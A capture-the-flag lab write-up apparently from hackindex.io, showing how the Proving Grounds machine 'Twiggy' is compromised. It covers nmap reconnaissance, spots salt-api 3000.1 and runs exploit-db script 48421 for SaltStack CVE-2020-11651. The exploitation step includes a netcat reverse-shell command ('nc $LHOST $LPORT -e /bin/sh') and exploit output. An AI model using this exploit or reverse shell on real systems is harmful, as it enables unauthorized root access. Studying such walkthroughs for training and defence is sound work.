# Twiggy Writeup - Proving Grounds

> Salt-stack CVE-2020-11651 exploitation on Linux target to achieve unauthenticated RCE as root via the SaltStack master service.

- **URL:** https://hackindex.io/writeups/twiggy
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/twiggy-244/overview
- **Tags:** cve-2020-11651
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Reconnaissance

To get started we start a full NMAP scan on the target like:

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 14:12 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.022s latency).
# Not shown: 65529 filtered tcp ports (no-response)
# Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
# PORT     STATE SERVICE
# 22/tcp   open  ssh
# 53/tcp   open  domain
# 80/tcp   open  http
# 4505/tcp open  unknown
# 4506/tcp open  unknown
# 8000/tcp open  http-alt
#
# Nmap done: 1 IP address (1 host up) scanned in 86.29 seconds
# [+] Parsing open TCP ports...
# [+] Running scripts & versions on TCP ports: 22,53,80,4505,4506,8000
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 14:13 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.021s latency).
#
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
# | ssh-hostkey: 
# |   2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
# |   256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
# |_  256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
# 53/tcp   open  domain  NLnet Labs NSD
# 80/tcp   open  http    nginx 1.16.1
# |_http-title: Home | Mezzanine
# |_http-server-header: nginx/1.16.1
# 4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
# 4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
# 8000/tcp open  http    nginx 1.16.1
# |_http-server-header: nginx/1.16.1
# |_http-title: Site doesn't have a title (application/json).
# |_http-open-proxy: Proxy might be redirecting requests
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 20.79 secon
```

This reveals us interesting ports like port 8000 which runs a HTTP webserver. We check the webserver its response headers like:

```bash
curl -I http://$TARGET_IP:8000/         
# HTTP/1.1 200 OK
# Server: nginx/1.16.1
# Date: Mon, 09 Feb 2026 13:20:16 GMT
# Content-Type: application/json
# Content-Length: 146
# Connection: keep-alive
# Access-Control-Expose-Headers: GET, POST
# Vary: Accept-Encoding
# Allow: GET, HEAD, POST
# Access-Control-Allow-Credentials: true
# Access-Control-Allow-Origin: *
# X-Upstream: salt-api/3000-1
```

## Vulnerability Assessment

The value salt-api is interesting since this is for the Saltstack application. A quick Google search reveals that Saltstack 3000.1 is vulnerable with vulnerability: [CVE-2020-11651](https://hackindex.io/vulnerabilities/CVE-2020-11651), allowing remote code execution on the target.

## Exploitation

We use the exploit script from [https://www.exploit-db.com/exploits/48421](https://www.exploit-db.com/exploits/48421) to exploit this target like:

```bash
cp /usr/share/exploitdb/exploits/multiple/remote/48421.txt ./48421.py
python3 48421.py --master $TARGET_IP --exec "nc $LHOST $LPORT -e /bin/sh"
# [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
# [+] Salt version: 3000.1
# [ ] This version of salt is vulnerable! Check results below
# [+] Checking salt-master ($TARGET_IP:$TARGET_PORT) status... ONLINE
# [+] Checking if vulnerable to CVE-2020-11651...
# [*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
# [+] Attemping to execute nc $LHOST $LPORT -e /bin/sh on $TARGET_IP
# [+] Successfully scheduled job: 20200504153851746472
```

With this reverse shell connection we can view /root/proof.txt

Related